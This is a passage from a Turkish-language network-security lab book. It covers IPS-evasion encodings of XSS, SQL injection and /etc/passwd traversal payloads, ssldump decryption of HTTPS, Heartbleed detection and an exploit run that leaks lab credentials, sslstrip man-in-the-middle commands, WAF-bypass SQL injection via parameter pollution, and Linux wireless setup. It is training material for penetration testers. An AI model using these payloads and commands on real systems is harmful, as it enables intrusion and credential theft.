3c7363726970743e616c657274281842474119293c2f7363726970743e Yine en çok kullanılan payloadlardan biri olan ‘or ‘1’=’1 ifadesinin çeşitli encoding yöntemleri aşağıdaki gibidir. URL Encode - +%u2018or+%u20181%u2019%3D%u20191 Double URL Encode - %2B%25u2018or%2B%25u20181%25u2019%253D%25u20191
  35. 35. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Base64 - IBhvciAYMRk9GTE= En tehlikeli saldırılardan biri olan local file inclusion ya da directory traversal encoding yöntemleri ile rahatlıkla aşılabilir. IPS’ler genelde ‘..’ ve ‘../’ ifadesini gözrdükleri zaman bunu saldırı olduğunu anlarlar ve ona göre davranırlar. Ama ../../../../../../../etc/passwd gibi bir payload encoding yöntemleri kullanılarak gönderilirse, istenilen sayfa elde edilecektir. HEX - 2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764 Base64 - Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== 2.2. SSLDUMP KULLANARAKHTTPS TRAFİĞİ ANALİZİ SSLdump SSL/TLS kullanılarak şifrelenmiş trafikler için geliştirilmiş trafik analizi ve şifre çözümleme aracıdır. SSLdump kullanarak(sunucuya ait gizlianahtarın elde olduğu varsayılıyor) HTPS ve benzeri şifreli trafiklerin içerisinde geçen bilgiler okunabilir. SSldump akan trafikten analiz/şifre çözme yapabileceği gibi daha önce pcap formatında kaydedilmiş trafikten de analiz/şifre çözme işlemleri gerçekleştirebilir. SSLdump Kullanım Parametreleri Canlı trafikte analiz için #ssldump -i ağ_arabirimi (ssldump -i eth0 gibi) Daha önce kaydedilmiş pcap formatındaki dosyadan okutmak için #ssldump -r SSL trafiği içerisinde geçen verileri açığa çıkarmak için gerekli parametreler ssldump -i eth0 -k gizlianahtar -d d uygulama seviyesi trafik bilgilerini göstermek için kullanılır. SSL verilerini çözebilmesi için ssldump’ın openssl destekli kurulmuş olması gerekir. Openssl desteğini öğrenmek için -v parametresi kullanılabilir.
  36. 36. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity [root@labs ~]# ssldump -v ssldump 0.9b3 Copyright (C) 1998-2001 RTFM, Inc. All rights reserved. Compiled with OpenSSL: decryption enabled Örnek kullanım: #ssldump -i rl0 tcp port 443 New TCP connection #1: dsl7.16-3229.ttnet.net.tr(4318) <-> labs.lifeoverip.net(443) 1 1 0.0638 (0.0638) C>S Handshake ClientHello Version 3.1 resume [32]= 24 fc 17 ee f2 b4 c5 e9 96 51 51 f3 38 e6 b9 7f 61 18 6c d0 68 3d 64 1c 8d bf 05 da 28 62 7a fc cipher suites Unknown value 0xff Unknown value 0xc00a Unknown value 0xc014 Unknown value 0×88 Unknown value 0×87 Unknown value 0×39 Unknown value 0×38
  37. 37. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Unknown value 0xc00f Unknown value 0xc005 Unknown value 0×84 Unknown value 0×35 Unknown value 0xc007 Unknown value 0xc009 Unknown value 0xc011 Unknown value 0xc013 Unknown value 0×45 Unknown value 0×44 Unknown value 0×33 Unknown value 0×32 Unknown value 0xc00c Unknown value 0xc00e Unknown value 0xc002 Unknown value 0xc004 Unknown value 0×96 Unknown value 0×41 TLS_RSA_WITH_RC4_128_MD5 TLS_RSA_WITH_RC4_128_SHA Unknown value 0x2f Unknown value 0xc008
  38. 38. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Unknown value 0xc012 TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA Unknown value 0xc00d Unknown value 0xc003 Unknown value 0xfeff TLS_RSA_WITH_3DES_EDE_CBC_SHA compression methods NULL 1 2 0.0643 (0.0004) S>C Handshake ServerHello Version 3.1 session_id[32]= 24 fc 17 ee f2 b4 c5 e9 96 51 51 f3 38 e6 b9 7f 61 18 6c d0 68 3d 64 1c 8d bf 05 da 28 62 7a fc cipherSuite Unknown value 0×88 compressionMethod NULL 1 3 0.0643 (0.0000) S>C ChangeCipherSpec 1 4 0.0643 (0.0000) S>C Handshake 1 5 0.1088 (0.0445) C>S ChangeCipherSpec 1 6 0.1088 (0.0000) C>S Handshake 1 7 0.1088 (0.0000) C>S application_data
  39. 39. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 1 8 0.1124 (0.0035) S>C application_data 1 9 0.1124 (0.0000) S>C application_data 1 10 0.1796 (0.0672) C>S application_data 1 11 0.1832 (0.0035) S>C application_data 1 12 0.1832 (0.0000) S>C application_data Bir SSL bağlantısına ait tüm adımlar ssldump’da ayrı trafik numarasıyla belirtilir ve ilgili ssl bağlantısına ait tüm paketler o numarayı takip eder. Yukardaki çıktıda bir adet ssl bağlantısı vardır ve 1, 1 1, 1 2, 1, 3 ….1 12 şeklinde giden satırlar tek bir SSL bağlantısına aittir. Yukardaki ssl bağlantısında veriler şifreli olduğu için gözükmeyecektir. SSldump’a bağlantı yapılan adresin gizli anahtarını -k parametresi ile tanıtıldığında 1 12 0.1832 (0.0000) S>C application_data yazan kısımda aşağıdaki gibi açık HTTP başlık bilgileri gözükecektir. #ssldump -i rl0 -d -H -k /usr/local/etc/apache22/extra/blog.key tcp port 443 New TCP connection #1: dsl7.16-3229.ttnet.net.tr(4318) <-> labs.lifeoverip.net(443) 1 1 0.0638 (0.0638) C>S Handshake ClientHello Version 3.1 resume [32]= 24 fc 17 ee f2 b4 c5 e9 96 51 51 f3 38 e6 b9 7f 61 18 6c d0 68 3d 64 1c 8d bf 05 da 28 62 7a fc cipher suites Unknown value 0xff Unknown value 0xc00a Unknown value 0xc014
  40. 40. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Unknown value 0×88 Unknown value 0×87 Unknown value 0×39 Unknown value 0×38 Unknown value 0xc00f Unknown value 0xc005 TLS_RSA_WITH_RC4_128_MD5 TLS_RSA_WITH_RC4_128_SHA Unknown value 0xc008 Unknown value 0xc012 TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA Unknown value 0xc00d Unknown value 0xc003 Unknown value 0xfeff TLS_RSA_WITH_3DES_EDE_CBC_SHA compression methods NULL 1 2 0.0643 (0.0004) S>C Handshake ServerHello Version 3.1 session_id[32]=
  41. 41. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 24 fc 17 ee f2 b4 c5 e9 96 51 51 f3 38 e6 b9 7f 61 18 6c d0 68 3d 64 1c 8d bf 05 da 28 62 7a fc cipherSuite Unknown value 0×88 compressionMethod NULL 1 3 0.0643 (0.0000) S>C ChangeCipherSpec 1 4 0.0643 (0.0000) S>C Handshake 1 5 0.1088 (0.0445) C>S ChangeCipherSpec 1 6 0.1088 (0.0000) C>S Handshake 1 7 0.1088 (0.0000) C>S application_data GET /network_pentest HTTP/1.1 Host: www.bga.com.tr User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive 1 8 0.1124 (0.0035) S>C application_data HTTP/1.1 404 Not Found Date: Tue, 29 Jun 2010 13:24:17 GMT Server: Apache/2.2.13
  42. 42. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Content-Length: 213 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 1 12 0.1832 (0.0000) S>C application_data 2.3. OPENSSL HEARTBLEED ZAFİYETİ İSTİSMARI TLS’in heartbeat eklentisindeki bir programlama hatasından kaynaklanan sorun sayesinde internete açık zafiyet içeren OpenSSL sürümünü kullanan herhangi bir sistemin belleğindeki bilgiler 64 kbyte’lık bölümler halinde alınabilmektedir. Açık, internet üzerinden herhangi yetki gerektirmeksizin tcp 443. porttan kurulan bağlantılar üzerinden(başka portlarda çalışan TLS destekli protokollerde dâhil) şifrelemede kullanılan private key’lerin, kullanıcı adı ve şifrelerin, cookie’lerin ve benzer her türlü hassas verinin alınabilmesine olanak sağladığından dolayı, OpenSSL’in 1.0.1 – 1.0.1f arası sürümlerini kullanan sistemlerin bir an önce açığın bulunmasının hemen ardından yayınlanan OpenSSL 1.0.1g sürümüne terfi etmeleri, bu işlem yapılamıyorsa da mevcut OpenSSL’in “- DOPENSSL_NO_HEARTBEATS”parametresi ile yeniden derlenerek heartbeat özelliğini devre dışı bırakmaları önerilmektedir. İlgili zafiyeti gideren güncelleme paketleri, CentOS, Debian ve FreeBSD paket depolarına eklendi. Bu nedenle ilgili sistemleri kullanıyorsanız acilen sistem güncellenmelidir. Ayrıca, sistem güncellemesine kadar geçen süreç içerisinde SSL anahtarlarınızın alınıp alınmadığını bilemeyeceğiniz için mevcut anahtarların da iptal edilerek yenilerinin üretilmesi yerinde olacaktır. Açıklıktan Etkilenen Sistemler ● Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4 ● Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11 ● CentOS 6.5, OpenSSL 1.0.1e-15 ● Fedora 18, OpenSSL 1.0.1e-4
  43. 43. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity ● OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) ve 5.4 (OpenSSL 1.0.1c 10 May 2012) ● FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013 ● NetBSD 5.0.2 (OpenSSL 1.0.1e) ● OpenSUSE 12.2 (OpenSSL 1.0.1c ● Red Hat Enterprise Linux 6.5, Red Hat Enterprise Virtualization Hypervisor 6.5, and Red Hat Storage 2.1 Açıklığınortaya çıkmasından sonra istismarıiçin bir takımistismar araçlarıyayınlandı. Bağımsız olarak geliştirilen exploit’lerin yanısıra Nessus, nmap, metasploit gibi en sık kullanılan güvenlik araçları da açıklığı tespit etmek amaçlı kendilerini güncelleyerek gerekli script’leri kütüphanelerine eklediler. İlk olarak nmap port tarama aracının yayınlamış olduğu script’i kullanarak yerel ağda açıklıktan etkilenen sistemlerin olup olmadığını kontrol edilecektir. 2.3.1. Nmap NSE Kullanarak HeartBleedZafiyetini TespitEtme # nmap -p 443 --script ssl-heartbleed 6.6.6.0/24 Nmap scan report for 6.6.6.251 Host is up (0.0022s latency). PORT STATE SERVICE 443/tcp open https | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | Description: | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://www.openssl.org/news/secadv_20140407.txt |_ http://cvedetails.com/cve/2014-0160/ Nmap scan report for 6.6.6.247
  44. 44. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Host is up (0.0020s latency). PORT STATE SERVICE 443/tcp open https | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | Description: | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://www.openssl.org/news/secadv_20140407.txt |_ http://cvedetails.com/cve/2014-0160/ Tablodaki port tarama sonuçlarına bakılacak olursa 6.6.6.0(6.6.6.0/24 ağı BGA'nın kullandığı sızma testi lab sistemlerine aittir) alt ağında açıklıktan etkilenen 2 tane makinenin olduğu görülmektedir. Açıklığı istismar etmek için geliştirilmiş exploitler kullanılarak hedef sistembelleğindeki hassas verilere erişmek mümkün olacaktır. 2.3.2. Nessusile ‘heartbleed’Taraması Gerçekleştirme Diğer bir zaafiyet tarama aracı olan Nessus, OpenSSL’de bulunan bu güvenlik açığı karşısında kendisini güncellemiştir. Nessus ile örnek bir heartbleed taraması aşağıdaki gibi yapılabilir. Heartbleed taraması yapabilmek için, ilk olarak ‘Heartbleed Detection’ politikası oluşturulmalıdır.
  45. 45. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Policy oluşturma Oluşturulan bu politika kullanılarak tarama başlatılır. Taramayı Başlatma Eğer hedef sistemaçıklıktanetkilenmiş ise,nessus bu durumu tespit edecek ve aşağıdakiekran görüntüsünde olduğu gibi rapor sunacaktır.
  46. 46. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2.3.3. Metasploitile HeartbleedTesti En çok kullanılan güvenlik araçlarından biri olan Metasploit, OpenSSL’de bulunan bu güvenlik açığı karşısında ilgili güncellemeyi yapmıştır. Aşağıdaki örnekte Metasploit kullanarak hedef sistemin açıklıktan etkilenip etkilenmediği kontrol edilmiştir. NOT: Metasploit ve Nessus sadece HTTPS değil diğer SSL kullanan portları da test edip tespit edebilmektedir. msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options Module options (auxiliary/scanner/ssl/openssl_heartbleed): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 443 yes The target port STARTTLS None yes Protocol to use with STARTTLS, None to avoid STARTTLS (accepted: None, SMTP, IMAP, JABBER, POP3) THREADS 1 yes The number of concurrent threads TLSVERSION 1.1 yes TLS version to use (accepted: 1.0, 1.1, 1.2)
  47. 47. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity msf auxiliary(openssl_heartbleed) > set RHOSTS 6.6.6.251 RHOSTS => 6.6.6.251 msf auxiliary(openssl_heartbleed) > run [+] 6.6.6.251:443 - Heartbeat response with leak [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 2.3.4. Heartbleedİstismar Scripti Açıklığı tespit ettikten sonra, istismar etmek için https://github.com/musalbas/heartbleed- masstest/blob/master/ssltest.py adresinde bulunan exploit kullanılabilir. Örnek bir uygulama aşağıdaki gibidir. # python ssltest.py 6.6.6.251 -p 443 username=bg 0290: 65 6E 76 70 6E 26 70 61 73 73 77 6F 72 64 3D 50 alab&password=P 02a0: 64 62 37 34 63 70 38 63 6C 72 A9 4B 76 27 B9 A8 as12cp8bga.Kv'.. 02b0: 9D 29 59 C4 54 4A 16 06 75 3B 00 00 00 00 00 00 .)Y.TJ..u;...... username: bgalab pass: Pas12cp8bga
  48. 48. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2.4. SSLSTRIP 2.4.1. HTTPS’e GüveninizTammı? Bu yazının konusu günlük hayatımızda güvenli olduğu düşünülerek kullanılan HTTPS protokolünün güvenliğine yöneliktir. 2.4.2. Katmanlı GüvenlikAnlayışı Meşhur bir söz vardır: “bir zincir en zayıf halkası kadar kuvvetlidir”. Bu söz bilgi güvenliği için de geçerlidir. Zira güvenlik de bir zincir misali çeşitli katmanlardan(halkalardan) oluşur ve bir sistemingüvenliğikendisini oluşturan katmanlardan en basitikadardır. Günümüzde güvenliğin en çok ihtiyaç duyulduğu nokta iletişim dünyasıdır. Bu dünyanın da temelini TCP/IP oluşturur. TCP/IP protocol ailesi bundan yıllar önce amacı güvenlik olmayan işler için geliştirilmiş bir protokoldür ve günümüzde ise çeşitli eksiklikleri hissedilmektedir. Bu eksiklikler yeni yeni protokollerle kapatılmaya çalışılsa da temelde olan bir problem tüm sistemi etkileyebilmektedir. Mesela HTTPS üzerinden çalışan bir uygulamaya güvenli denilebilmesi için sistemin hangi katmanlardan oluştuğunu iyi bilmek ve bu katmanlardaki güvenlik zaafiyetlerini ölçeklemek gerekir. Şekilde görüleceği üzere HTTPS bağlantısının gerçekleşmesi için ek 4 protokol daha devreye girer. HTTPS ne kadar güvenli olursa olsun diğer protokollerdeki bir açıklık HTTPS’i de etkileyecektir. Peki, HTTPS güvensiz midir? 2.4.3. HTTPS GüvensizMidir? Bankalar, online alışveriş siteleri vb. kurumlar için güvenlik denilince akla 128 bitlik şifreleme gelir. Evet, 128 bitlik şifreleme günümüz ölçülerinde güvenilir kabul edilse de iş sadece şifrelemeyle kalmıyor, şifreleme ile birlikte kullanılan diğer altyapıların da güvenli olması gerekir.
  49. 49. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity SSL’in karşı karşıya kaldığı ilk ve önemli saldırı tipi MITM(Man in The middle) ataklardır. MITM tipi ataklarda saldırgan kendisini istemci(kurban) ile sunucu arasına yerleştirerek tüm trafiği dinler ve değiştirebilir. HTTPS bağlantılarında MITM ile araya giren saldırgan sahte sertifika üretse de sertifika geçerli bir CAKurumu tarafından imzalanmadığı içinkullanıcının tarayıcısında hata verecektir. Eskiden tarayıcı uyarıları kolaylıkla atlanabilir, gözden kaçabilir uyarılardı fakat günümüzde browserlarin verdiği SSL uyumsuzluk uyarıları gerçekten uyarıcı, uyarmanın ötesinde rahatsız ediciolmaya başladı.ÖzellikleFirefox’un yeni sürümlerinde bu durum belirgin olarak karşımıza çıkmaktadır. Yukarıdaki çıktıda SSL sertifika uyumsuzluğundan Firefox’un verdiği uyarılar serisi sıradan bir kullanıcıyı bile sayfadan kaçıracak türdendir. Dikkatsiz, her önüne gelen linke tıklayan, çıkan her popup okumadan yes’e basan kullanıcılar için bu risk azalsa da hala devam ediyor ama bilinçli kullanıcılar bu tip uyarılarda daha dikkatli olacaklardır. Peki, bilinçli kullanıcıların gözünden kaçabilecek ve HTTPS’I güvensiz kılabilecek başka açıklıklar var mıdır? Bu sorunun kısa cevabı evet, uzun cevabına gelecek olunursa…
  50. 50. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2.4.4. SSL’in HTTP ile İmtihanı SSL(HTTPS)’i güvenlik amacıyla kullanılır fakat günümüzde SSL kullanılan çoğu sistemde HTTP ve HTTPS birlikte kullanılmaktadır. Yani önce sayfaya HTTP üzerinden girilir, sonra hassas bilgiler içerecek linklerde HTTPS’e çevrilir. Bu durumda yeni oluşacak HTTPS’in güvenliği buradaki HTTP’e bağlı oluyor. Firmaların neden sadece HTTPS kullanmadığı sorusuna verilecek en kısa cevap SSL’in sunucu tarafında ek kapasite gerektirmesidir. HTTP ile HTTPS arasındaki yük farkını görebilmek için aynı hedefe yapılmış iki farklı HTTP ve HTTPS isteğinin Wireshark gibi bir snifferla incelenmesi yeterli olacaktır. HTTP’de oturum bilgisi çoğunlukla cookie’ler üzerinden taşındığı düşünülürse eğer sunucu tarafında kod geliştirenler cookilere “secure” özelliği (cookielerin sadece güvenli bağlantı üzerinden aktarılması) eklememişlerse trafiği dinleyebilen birisi hesap bilgilerine ihtiyaç duymadan cookieler aracılığıyla sizin adınıza sistemlere erişebilir. Bunun için çeşitli yöntemler bulunmaktadır, internette “sidejacking” ve surfjacking anahtar kelimeleri kullanılarak yapılacak aramalar konu hakkında detaylı bilgi verecektir. 2.4.5. GözYanılgısıylaHTTPS Nasıl Devre Dışı Bırakılır? Bu yıl yapılan Blackhat konferanslarında dikkat çeken bir sunum vardı: “New Tricks For Defeating SSL In Practice”. Sunumun ana konusu yukarda anlatılmaya çalışılan HTTPS ile HTTP’nin birlikte kullanıldığı durumlarda ortaya çıkan riski ele alıyor. Sunumla birlikte yayınlanan sslstripadlıuygulama anlatılanların pratiğe döküldüğü basit bir uygulama ve günlük hayatta sık kullanılan banka, webmail, online alış veriş sitelerinde sorunsuz çalışıyor. Kısa kısa ssltrip’in nasıl çalıştığı, hangi ortamlarda tehlikeli olabileceği ve nasıl korunulacağı konularına değinilecektir. 2.4.6. SSLStrip Nasıl Çalışır? Öncelikle sslstrip uygulamasının çalışması için Linux işletim sistemine ihtiyaç duyulduğu ve saldırganın MITM tekniklerini kullanarak istemcinin trafiğini üzerinden geçirmiş olması zorunlulugunu belirtmek gerekir. Şimdi adım adım saldırganın yaptığı işlemler ve her adımın ne işe yaradığı incelenecektir;
  51. 51. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 1. Adım: Saldırgan istemcinin trafiğini kendi üzerinden geçirir. Saldırgan istemcinin trafiğini üzerinden geçirdikten sonra trafik üzerinde istediği oynamaları yapabilir. Saldırgana gelen paketleri hedefe iletebilmesi için işletimsisteminin routing yapması gerekir. Linux sistemlerde bu sysctl değerleriyle oynayarak yapılabilir. (echo "1" > /proc/sys/net/ipv4/ip_forward) 2. Adım: Saldırgan iptables güvenlik duvarını kullanarak istemciden gelip herhangi biryere giden tüm TCP/80 isteklerini lokalde sslstrip’in dinleyeceği 8000. Porta yönlendiriyor. İlgili Iptables komutu: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8000 3. Adım: Saldırgan sslstrip uygulamasını çalıştırarak 8000.portu dinlemeye alıyor ve istemci ve sunucudan gelecek tüm istek-cevapları “topla” isimli dosyaya logluyor. #sslstrip -w topla --all -l 8000 –f Şimdi şöyle bir senaryo olduğu varsayılmaktadır: Masum kullanıcı ailesiyle geldiği alışveriş merkezinde ücretsiz bir kablosuz ağ bulmuş olmanın sevinciyle mutlu bir şekilde gelip bilgisayarını açsın ve ilk yapacağı iş maillerini kontrol etmek olsun. Ortama dâhil olmuş masum bir kullanıcının yaşadığı süreç şu şekilde olacaktır: İstemci ağa bağlanıp internete erişmek istediğinde ortamdaki saldırgan el çabukluğu marifetle istemcinin trafiğini üzerinden geçirir (ARP Cache poisoning yöntemiyle). İstemci durumdan habersiz webmail uygulamasına bağlanmak için sayfanın adresini yazar. Araya giren saldırgan sunucudan dönen cevaplar içerisinde HTTPS ile başlayan satırları HTTP ile değiştirir ve aynen kullanıcıya gönderir. Hiçbir şeyden haberi olmayan kullanıcı gelen sayfada kullanıcı adı/parola bilgilerini yazarak Login’i tıklar. Kullanıcıdan gelen login bilgisi HTTP üzerinden olduğu için saldırganın bilgisayarında çalışan sslstrip bu bilgileri alır, kaydeder ve yine bu bilgileri kullanarak web uygulamasına HTTPS bağlantısı açar, web uygulamasından dönen cevapları yine içerisindeki HTTPS satırlarını HTTP ile değiştirerek kullanıcıya döndürür. Böylece istemci fark etmeden HTTPS yerine HTTP kullanarak tüm bilgilerini kaptırır. Böyle bir senaryo, halka açık kablosuz ağlarda, şirketlerin yerel ağlarında, TOR vs. gibi ücretsiz proxy hizmeti kullanılan yerlerde yaşanabilir 2.4.7. Nasıl Korunulur? Bu yazıda anlatılan saldırı yönteminden korunmak, sunucu tarafından ziyade istemci tarafını ilgilendirir. İstemci HTTPS olarak gitmek istediği sitelere giderken isteklerinin HTTPS olarak gittiğine dikkat etmeli, ötesinde bu işi kendine bırakmayıp otomatize edecek bir yazılıma bırakmalı. Firefox kullanıcısıysanız aşağıdaki [3]nolu kaynaktan indireceğiniz ForceHTTPS ya da Noscript eklentilerini kullanarak belirlediğiniz sitelere sadece HTTPS bağlantısı yapılmasını sağlayabilirsiniz.
  52. 52. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2.5. HTTP PARAMETER POLLUTİON KULLANARAKWAF ATLATMA Lab senaryosu: HTTP “parameter pollution” açıklığı ile WAF tarafından korunan sistemdeki sqli zafiyeti istismar edilir. Kullanılan Araçlar: ● Iceweasel 18 ● PHP veya ASP.NET destekleyen bir web sunucusu Adımlar: 1. Adım: İlk olarak istismar edilmek istenilen zafiyetin payloadının WAF tarafından engellendiğinin tespit edilmesi gerekmektedir. Örnek olarak “ index.php?pageID=15’ “ şeklinde çağırıldığında sql hatası döndüren bir web uygulaması “index.php?pageID=15 union select user() --” istismar koduna özel bir hata mesajı döndürür veya hiç tepki vermezse arada yüksek ihtimalle WAF görevi gören bir sistembulunuyor denilebilir. 2.Adım: Sunucu tarafındaki web teknolojisinin HTTP parametrelerini yorumlama şekline göre istismar kodunun payload bölümünü yeniden şekillendirerek WAF atlatılmaya çalışılır. Bu aşamada aşağıdaki tablo faydalı olabilir.
  53. 53. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Tabloda da görüldüğü üzere PHP sunucuları HTTP parametrelerini yorumlarken aynı isimli parametreler varsa sadece sonuncuyu değerlendirmeye almaktadır. Hedef sistemdeki WAF’ın aynı isimli parametrelerden ilkini değerlendirmeye aldığı bir durumda yeni istismar kodumuz şu şekilde olacaktır : “ index.php?pageID=15&pageID=15 union select user()-- “. Benzer şekilde bir ASP.NET uygulaması için “list.aspx?id=10’ union select null,null,user,pass from users--” şeklindeki bir sqli istismarını “list.aspx?id=10’ union select null&id=null&id=user&id=pass from users--” olarak değiştirerek WAF’ı atlatmak mümkün olabilir.Çünkü tabloda da görüldüğü üzere asp.net ikinci URL’deki aynı isimli parametreleri “,” (virgül) ile birleştirerek geçerli bir sql sorgusu oluşmasını sağlayacaktır. 3. KABLOSUZ AĞLARDA(WLAN) GÜVENLİK 3.1. LINUX SİSTEMLERDEKABLOSUZ AĞLARA BAĞLANMA(WEP/WPA) Linux sistemler kablosuz ağ yapılandırması için zengin seçeneklere sahiptir. Her Linux dağıtımının kendi grafik arabirimi yapılandırması olduğu gibi tüm Linux dağıtımları için geçerli komutları kullanmak da her zaman hazır seçenek olarak durmaktadır. Bir kablosuz ağ cihazının neler yapabileceğini düşünelim; öncelikle bulunduğu çevredeki çalışır vaziyette bulunan erişim noktalarını görmek isteyecektir, bulduğu erişim noktalarından birini seçerek bağlanmak ve gerekli IP yapılandırmasını girmesi gerekecektir, ya da erişim noktası tarafından verilen hazır bilgilerikullanacaktır. Eğer erişimnoktasında güvenlik amaçlışifreleme kullanılmışsa kullanılan protokole(WEP/WPA) uygun anahtarın da doğru şekilde girilmesi gerekir. Kapsama alanında bulunan Erişim Noktalarını(Access Point) keşfetmek için “iwlist” komutu uygun parametreler ile kullanılır.
  54. 54. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Linux makinemizdeki wireless Ethernet arabiriminin eth1 olduğunu varsayarsak çevremizdeki AP’leri aşağıdaki komut ile görebiliriz. root@byte: ~# iwlist eth1 scan eth1 Scan completed : Cell 01 - Address: 00:05:60:D5:CE:76 ESSID:"Byte Test" Mode:Master Frequency:2.417GHz Quality:0/10 Signal level:-70 dBm Noise level:-256 dBm Encryption key:off Bit Rate:1Mb/s Bit Rate:2Mb/s Bit Rate:5.5Mb/s Bit Rate:11Mb/s Cell 02 - Address: 00:04:2B:52:15:58 ESSID:"Sebil Net" Mode:Master Frequency:2.467GHz Quality:0/10 Signal level:-22 dBm Noise level:-256 dBm Encryption key:on Bit Rate:1Mb/s Bit Rate:2Mb/s Bit Rate:5.5Mb/s Bit Rate:11Mb/s Peki, hangi arabirimimizin kablosuz ağ adaptörü olduğunu nasılanlarız? Bunun için de iwconfig komutu parametresiz kullanılırsa Linux bilgisayarımızda bulunan ağ adaptörleri inceleyerek hangilerinin kablosuz ağ adaptörü olduğunu bize söyleyecektir. Bulunan erişimnoktalarından herhangi birine bağlanmak için iwconfig komutunu kullanıyoruz. root@byte: ~# iwconfig eth1 essid “Byte Test” root@byte: ~# ifconfig eth1 up root@byte: ~# ifconfig eth1 192.168.1.2 netmask 255.255.255.0 Ya da otomatik ip aldırmak için root@byte: ~# dhclient eth1 root@byte~ # dhcpcd -n eth1
